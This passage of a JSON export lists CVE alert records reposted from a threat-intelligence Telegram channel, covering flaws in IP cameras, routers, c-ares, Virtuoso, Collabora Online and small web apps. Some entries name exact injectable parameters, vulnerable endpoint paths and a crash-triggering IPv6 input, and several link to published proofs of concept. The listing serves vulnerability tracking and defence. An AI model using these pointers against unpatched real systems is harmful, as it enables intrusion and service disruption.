"https://t.me/DarkWebInformer_CVEAlerts/2154", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31995\n\ud83d\udd39 Description: Hanwha IP Camera ANE-L7012R 1.41.01 is vulnerable to Cross Site Scripting (XSS).\n\ud83d\udccf Published: 2023-05-23T00:00:00\n\ud83d\udccf Modified: 2025-01-17T16:38:42.192Z\n\ud83d\udd17 References:\n1. https://www.hanwhavision.com/wp-content/uploads/2023/04/Camera-Vulnerability-Report.pdf\n2. https://hanwhavisionamerica.com/download/50042/", "creation_timestamp": "2025-01-17T16:56:55.000000Z"}, {"uuid": "b07bc57a-2100-431b-86ce-aa9184638e10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31994", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2153", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31994\n\ud83d\udd39 Description: Certain Hanwha products are vulnerable to Denial of Service (DoS). ck vector is: When an empty UDP packet is sent to the listening service, the service thread results in a non-functional service (DoS) via WS Discovery and Hanwha proprietary discovery services. This affects IP Camera ANE-L7012R 1.41.01 and IP Camera XNV-9082R 2.10.02.\n\ud83d\udccf Published: 2023-05-23T00:00:00\n\ud83d\udccf Modified: 2025-01-17T16:42:07.446Z\n\ud83d\udd17 References:\n1. https://www.hanwhavision.com/wp-content/uploads/2023/04/Camera-Vulnerability-Report.pdf\n2. https://hanwhavisionamerica.com/download/50042/", "creation_timestamp": "2025-01-17T16:56:51.000000Z"}, {"uuid": "9f341893-765a-491d-ac8f-79943f1c8ccd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31920", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2933", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31920\n\ud83d\udd39 Description: Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the vm_loop at jerry-core/vm/vm.c.\n\ud83d\udccf Published: 2023-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T15:31:17.461Z\n\ud83d\udd17 References:\n1. https://github.com/jerryscript-project/jerryscript/issues/5070", "creation_timestamp": "2025-01-24T16:04:59.000000Z"}, {"uuid": "b7d09d17-024c-4014-86f2-0d3c45b02831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31342", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3977", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31342\n\ud83d\udd25 CVSS Score: 7.9 (CVSS_V3)\n\ud83d\udd39 Description: Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution.\n\ud83d\udccf Published: 2025-02-12T00:32:16Z\n\ud83d\udccf Modified: 2025-02-12T00:32:16Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2023-31342\n2. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-3009.html\n3. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-4008.html\n4. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-5004.html", "creation_timestamp": "2025-02-12T01:14:07.000000Z"}, {"uuid": "b53f28e1-02ae-4821-b135-6391262bd4c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31130", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2008", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31130\n\ud83d\udd39 Description: c-ares is an asynchronous resolver library. ares_inet_net_pton() is vulnerable to a buffer underflow for certain ipv6 addresses, in particular \"0::00:00:00/2\" was found to cause an issue.  C-ares only uses this function internally for configuration purposes which would require an administrator to configure such an address via ares_set_sortlist(). However, users may externally use ares_inet_net_pton() for other purposes and thus be vulnerable to more severe issues. This issue has been fixed in 1.19.1.\n\n\ud83d\udccf Published: 2023-05-25T21:45:42.645Z\n\ud83d\udccf Modified: 2025-01-16T18:35:44.800Z\n\ud83d\udd17 References:\n1. https://github.com/c-ares/c-ares/security/advisories/GHSA-x6mf-cxr9-8q6v\n2. https://github.com/c-ares/c-ares/releases/tag/cares-1_19_1\n3. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/B5Z5XFNXTNPTCBBVXFDNZQVLLIE6VRBY/\n4. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UBFWILTA33LOSV23P44FGTQQIDRJHIY7/\n5. https://www.debian.org/security/2023/dsa-5419\n6. https://lists.debian.org/debian-lts-announce/2023/06/msg00034.html\n7. https://security.gentoo.org/glsa/202310-09\n8. https://security.netapp.com/advisory/ntap-20240605-0005/", "creation_timestamp": "2025-01-16T18:56:19.000000Z"}, {"uuid": "e6c42def-b617-4bfd-930f-17c6b2406e90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31343", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3973", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31343\n\ud83d\udd25 CVSS Score: 7.9 (CVSS_V3)\n\ud83d\udd39 Description: Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution.\n\ud83d\udccf Published: 2025-02-12T00:32:16Z\n\ud83d\udccf Modified: 2025-02-12T00:32:16Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2023-31343\n2. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-3009.html\n3. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-4008.html\n4. https://www.amd.com/en/resources/product-security/bulletin/amd-sb-5004.html", "creation_timestamp": "2025-02-12T01:11:15.000000Z"}, {"uuid": "e6b92ad2-ee98-4738-872b-d205f18531e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31741", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2451", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31741\n\ud83d\udd39 Description: There is a command injection vulnerability in the Linksys E2000 router with firmware version 1.0.06. If an attacker gains web management privileges, they can inject commands into the post request parameters wl_ssid, wl_ant, wl_rate, WL_atten_ctl, ttcp_num, ttcp_size in the httpd s Start_EPI() function, thereby gaining shell privileges.\n\ud83d\udccf Published: 2023-05-23T00:00:00\n\ud83d\udccf Modified: 2025-01-21T18:45:01.325Z\n\ud83d\udd17 References:\n1. http://linksys.com\n2. https://github.com/D2y6p/CVE/blob/main/Linksys/CVE-2023-31741/Linksys_E2000_RCE_2.pdf", "creation_timestamp": "2025-01-21T19:01:49.000000Z"}, {"uuid": "54a295c4-b88a-41d1-9d02-a25f7533c1f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31826", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2171", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31826\n\ud83d\udd39 Description: Skyscreamer Open Source Nevado JMS v1.3.2 does not perform security checks when receiving messages. This allows attackers to execute arbitrary commands via supplying crafted data.\n\ud83d\udccf Published: 2023-05-23T00:00:00\n\ud83d\udccf Modified: 2025-01-17T17:48:01.118Z\n\ud83d\udd17 References:\n1. http://nevado.skyscreamer.org/\n2. https://github.com/skyscreamer/nevado/releases\n3. https://novysodope.github.io/2023/04/01/95/\n4. https://github.com/skyscreamer/nevado/issues/121", "creation_timestamp": "2025-01-17T17:57:02.000000Z"}, {"uuid": "ecade554-7155-43ba-965a-2df87d62df3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31752", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2215", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31752\n\ud83d\udd39 Description: SourceCodester Employee and Visitor Gate Pass Logging System v1.0 is vulnerable to SQL Injection via /employee_gatepass/classes/Login.php.\n\ud83d\udccf Published: 2023-05-23T00:00:00\n\ud83d\udccf Modified: 2025-01-17T20:06:30.330Z\n\ud83d\udd17 References:\n1. https://github.com/4O4NtFd/bug_report/blob/main/SQLI2/SQLi-2.md", "creation_timestamp": "2025-01-17T20:58:04.000000Z"}, {"uuid": "1091d074-8051-4a21-8ed0-279b56e03a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31729", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2538", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31729\n\ud83d\udd39 Description: TOTOLINK A3300R v17.0.0cu.557 is vulnerable to Command Injection via /cgi-bin/cstecgi.cgi.\n\ud83d\udccf Published: 2023-05-18T00:00:00\n\ud83d\udccf Modified: 2025-01-22T14:54:26.895Z\n\ud83d\udd17 References:\n1. http://totolink.com\n2. https://github.com/D2y6p/CVE/blob/main/Totolink/CVE-2023-31729/CVE-2023-31729.md\n3. https://github.com/D2y6p/CVE/blob/2bac2c96e24229fa99e0254eaac1b8809e424b4b/Totolink/CVE-2023-31729/CVE-2023-31729.md", "creation_timestamp": "2025-01-22T15:02:56.000000Z"}, {"uuid": "0a261d33-f8b8-4336-b2b1-28b72e10b317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31678", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2766", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31678\n\ud83d\udd39 Description: Incorrect access control in Videogo v6.8.1 allows attackers to bind shared devices after the connection has been ended.\n\ud83d\udccf Published: 2023-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T16:55:56.106Z\n\ud83d\udd17 References:\n1. https://github.com/zzh-newlearner/record/blob/main/yingshi_devicekey.md", "creation_timestamp": "2025-01-23T17:03:03.000000Z"}, {"uuid": "f38c22c6-3f9e-4e29-b300-38677239324c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31747", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2452", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31747\n\ud83d\udd39 Description: Wondershare Filmora 12 (Build 12.2.1.2088) was discovered to contain an unquoted service path vulnerability via the component NativePushService. This vulnerability allows attackers to launch processes with elevated privileges.\n\ud83d\udccf Published: 2023-05-23T00:00:00\n\ud83d\udccf Modified: 2025-01-21T18:43:47.588Z\n\ud83d\udd17 References:\n1. http://wondershare.com\n2. http://filmora.com\n3. https://packetstormsecurity.com/files/172464/Filmora-12-Build-1.0.0.7-Unquoted-Service-Path.html", "creation_timestamp": "2025-01-21T19:01:49.000000Z"}, {"uuid": "100ee384-70e3-4dd6-9de5-7013d95b0cf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31584", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2491", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31584\n\ud83d\udd39 Description: GitHub repository cu/silicon commit a9ef36 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the User Input field.\n\ud83d\udccf Published: 2023-05-22T00:00:00\n\ud83d\udccf Modified: 2025-01-21T21:35:51.697Z\n\ud83d\udd17 References:\n1. https://github.com/cu/silicon\n2. https://github.com/rootd4ddy/CVE-2023-31584", "creation_timestamp": "2025-01-21T22:01:08.000000Z"}, {"uuid": "488852b0-0065-4081-b5c1-79db03ffee5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31700", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2607", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31700\n\ud83d\udd39 Description: TP-Link TL-WPA4530 KIT V2 (EU)_170406 and V2 (EU)_161115 is vulnerable to Command Injection via _httpRpmPlcDeviceAdd.\n\ud83d\udccf Published: 2023-05-17T00:00:00\n\ud83d\udccf Modified: 2025-01-22T17:20:11.002Z\n\ud83d\udd17 References:\n1. https://github.com/FirmRec/IoT-Vulns/blob/main/tp-link/postPlcJson/report.md", "creation_timestamp": "2025-01-22T18:02:40.000000Z"}, {"uuid": "038f3d58-1056-40bf-8938-30e640001a14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31597", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2551", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31597\n\ud83d\udd39 Description: An issue in Zammad v5.4.0 allows attackers to bypass e-mail verification using an arbitrary address and manipulate the data of the generated user. Attackers are also able to gain unauthorized access to existing tickets.\n\ud83d\udccf Published: 2023-05-18T00:00:00\n\ud83d\udccf Modified: 2025-01-22T14:38:04.811Z\n\ud83d\udd17 References:\n1. https://zammad.com/de/advisories/zaa-2023-03", "creation_timestamp": "2025-01-22T15:03:12.000000Z"}, {"uuid": "009818e7-4e50-4c29-8b4a-9ba9a3c184dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31871", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2540", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31871\n\ud83d\udd39 Description: OpenText Documentum Content Server before 23.2 has a flaw that allows for privilege escalation from a non-privileged Documentum user to root. The software comes prepackaged with a root owned SUID binary dm_secure_writer. The binary has security controls in place preventing creation of a file in a non-owned directory, or as the root user. However, these controls can be carefully bypassed to allow for an arbitrary file write as root.\n\ud83d\udccf Published: 2023-05-18T00:00:00\n\ud83d\udccf Modified: 2025-01-22T14:51:08.038Z\n\ud83d\udd17 References:\n1. https://gist.github.com/picar0jsu/a8e623639da34f36202ce5e436668de7", "creation_timestamp": "2025-01-22T15:02:58.000000Z"}, {"uuid": "8f81af90-a1ee-406e-9379-eb2d6b528a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31131", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2673", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31131\n\ud83d\udd39 Description: Greenplum Database (GPDB) is an open source data warehouse based on PostgreSQL. In versions prior to 6.22.3 Greenplum Database used an unsafe methods to extract tar files within GPPKGs. greenplum-db is vulnerable to path traversal leading to arbitrary file writes. An attacker can use this vulnerability to overwrite data or system files potentially leading to crash or malfunction of the system. Any files which are accessible to the running process are at risk. All users are requested to upgrade to Greenplum Database version 6.23.2 or higher. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2023-05-15T21:05:49.873Z\n\ud83d\udccf Modified: 2025-01-22T21:18:25.525Z\n\ud83d\udd17 References:\n1. https://github.com/greenplum-db/gpdb/security/advisories/GHSA-hgm9-2q42-c7f3\n2. https://github.com/greenplum-db/gpdb/commit/1ec4affbba7c9745f64edbd80a6680ad29b09471", "creation_timestamp": "2025-01-22T22:02:40.000000Z"}, {"uuid": "77acb0f1-80be-485c-959e-5f684f0d519d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31679", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2771", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31679\n\ud83d\udd39 Description: Incorrect access control in Videogo v6.8.1 allows attackers to access images from other devices via modification of the Device Id parameter.\n\ud83d\udccf Published: 2023-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T16:52:07.548Z\n\ud83d\udd17 References:\n1. https://github.com/zzh-newlearner/record/blob/main/yingshi_privacy.md", "creation_timestamp": "2025-01-23T17:03:10.000000Z"}, {"uuid": "476fb9e5-42f8-4bb1-8ec2-846bcc7b3a5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31610", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2770", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31610\n\ud83d\udd39 Description: An issue in the _IO_default_xsputn component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T16:52:14.031Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1118", "creation_timestamp": "2025-01-23T17:03:09.000000Z"}, {"uuid": "cd432e17-bcbf-47ec-b823-3a4e2483ff60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31699", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2605", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31699\n\ud83d\udd39 Description: ChurchCRM v4.5.4 is vulnerable to Reflected Cross-Site Scripting (XSS) via image file.\n\ud83d\udccf Published: 2023-05-17T00:00:00\n\ud83d\udccf Modified: 2025-01-22T17:20:48.730Z\n\ud83d\udd17 References:\n1. https://github.com/ChurchCRM/CRM/issues/6471", "creation_timestamp": "2025-01-22T18:02:35.000000Z"}, {"uuid": "6b02b9e8-21ab-4cf7-b86f-516ed5c5363f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31572", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2734", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31572\n\ud83d\udd39 Description: An issue in Bludit 4.0.0-rc-2 allows authenticated attackers to change the Administrator password and escalate privileges via a crafted request.\n\ud83d\udccf Published: 2023-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T14:57:44.803Z\n\ud83d\udd17 References:\n1. https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2", "creation_timestamp": "2025-01-23T15:02:54.000000Z"}, {"uuid": "df2ce898-4d6c-4006-a407-90abb6c6cc06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31857", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2744", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31857\n\ud83d\udd39 Description: Sourcecodester Online Computer and Laptop Store 1.0 allows unrestricted file upload and can lead to remote code execution. The vulnerability path is /classes/Users.php?f=save.\n\ud83d\udccf Published: 2023-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T15:58:40.693Z\n\ud83d\udd17 References:\n1. https://github.com/Jadore147258369/php-ocls/blob/main/README.md", "creation_timestamp": "2025-01-23T16:02:45.000000Z"}, {"uuid": "4edd29f8-ab2e-48de-8768-f356709834b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31145", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2672", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31145\n\ud83d\udd39 Description: Collabora Online is a collaborative online office suite based on LibreOffice technology. This vulnerability report describes a reflected XSS vulnerability with full CSP bypass in Nextcloud installations using the recommended bundle. The vulnerability can be exploited to perform a trivial account takeover attack. The vulnerability allows attackers to inject malicious code into web pages, which can be executed in the context of the victim's browser session. This means that an attacker can steal sensitive data, such as login credentials or personal information, or perform unauthorized actions on behalf of the victim, such as modifying or deleting data. In this specific case, the vulnerability allows for a trivial account takeover attack. An attacker can exploit the vulnerability to inject code into the victim's browser session, allowing the attacker to take over the victim's account without their knowledge or consent. This can lead to unauthorized access to sensitive information and data, as well as the ability to perform actions on behalf of the victim. Furthermore, the fact that the vulnerability bypasses the Content Security Policy (CSP) makes it more dangerous, as CSP is an important security mechanism used to prevent cross-site scripting attacks. By bypassing CSP, attackers can circumvent the security measures put in place by the web application and execute their malicious code. This issue has been patched in versions 22.05.13, 21.11.9, and 6.4.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2023-05-15T20:58:32.479Z\n\ud83d\udccf Modified: 2025-01-22T21:18:48.370Z\n\ud83d\udd17 References:\n1. https://github.com/CollaboraOnline/online/security/advisories/GHSA-rqj2-2c2x-gjmm", "creation_timestamp": "2025-01-22T22:02:40.000000Z"}, {"uuid": "94e051fd-296e-42d6-a443-1118f9cdf878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31609", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2769", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31609\n\ud83d\udd39 Description: An issue in the dfe_unit_col_loci component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T16:53:40.068Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1126", "creation_timestamp": "2025-01-23T17:03:08.000000Z"}, {"uuid": "6e17c35f-e4ff-48e5-81be-ddf1b6b68eda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31612", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2775", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31612\n\ud83d\udd39 Description: An issue in the dfe_qexp_list component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T16:49:32.849Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1125", "creation_timestamp": "2025-01-23T17:03:17.000000Z"}, {"uuid": "df1615a4-41a9-414e-8d71-6a57a2261cfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31611", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2772", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31611\n\ud83d\udd39 Description: An issue in the __libc_longjmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\ud83d\udccf Published: 2023-05-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T16:51:03.073Z\n\ud83d\udd17 References:\n1. https://github.com/openlink/virtuoso-opensource/issues/1119", "creation_timestamp": "2025-01-23T17:03:11.000000Z"}, {"uuid": "264a3756-5e29-4011-bb75-f9c8105a9acd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31890", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2735", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31890\n\ud83d\udd39 Description: An XML Deserialization vulnerability in glazedlists v1.11.0 allows an attacker to execute arbitrary code via the BeanXMLByteCoder.decode() parameter.\n\ud83d\udccf Published: 2023-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T14:55:34.709Z\n\ud83d\udd17 References:\n1. https://github.com/glazedlists/glazedlists/issues/709", "creation_timestamp": "2025-01-23T15:02:55.000000Z"}, {"uuid": "e1836a73-365f-4141-b892-e7756ba95d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31409", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2785", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31409\n\ud83d\udd39 Description: \nUncontrolled Resource Consumption in SICK FTMg AIR FLOW SENSOR with Partnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an remote attacker to influence the availability of the webserver by invocing a Slowloris style attack via HTTP requests.\n\n\n\ud83d\udccf Published: 2023-05-15T10:55:57.836Z\n\ud83d\udccf Modified: 2025-01-23T17:32:30.188Z\n\ud83d\udd17 References:\n1. https://sick.com/psirt\n2. https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.pdf\n3. https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.json", "creation_timestamp": "2025-01-23T18:03:19.000000Z"}, {"uuid": "dc16a3eb-f3cc-4d26-8b30-e5254a310df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31408", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2784", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-31408\n\ud83d\udd39 Description: \nCleartext Storage of Sensitive Information in SICK FTMg AIR FLOW SENSOR with\nPartnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows a remote\nattacker to potentially steal user credentials that are stored in the user\u2019s browsers local storage via\ncross-site-scripting attacks.\n\n\n\ud83d\udccf Published: 2023-05-15T10:55:39.301Z\n\ud83d\udccf Modified: 2025-01-23T17:33:18.976Z\n\ud83d\udd17 References:\n1. https://sick.com/psirt\n2. https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.pdf\n3. https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.json", "creation_timestamp": "2025-01-23T18:03:18.000000Z"}, {"uuid": "c125daa8-46d7-448a-ba94-db2e44e4fae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31613", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2776", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE 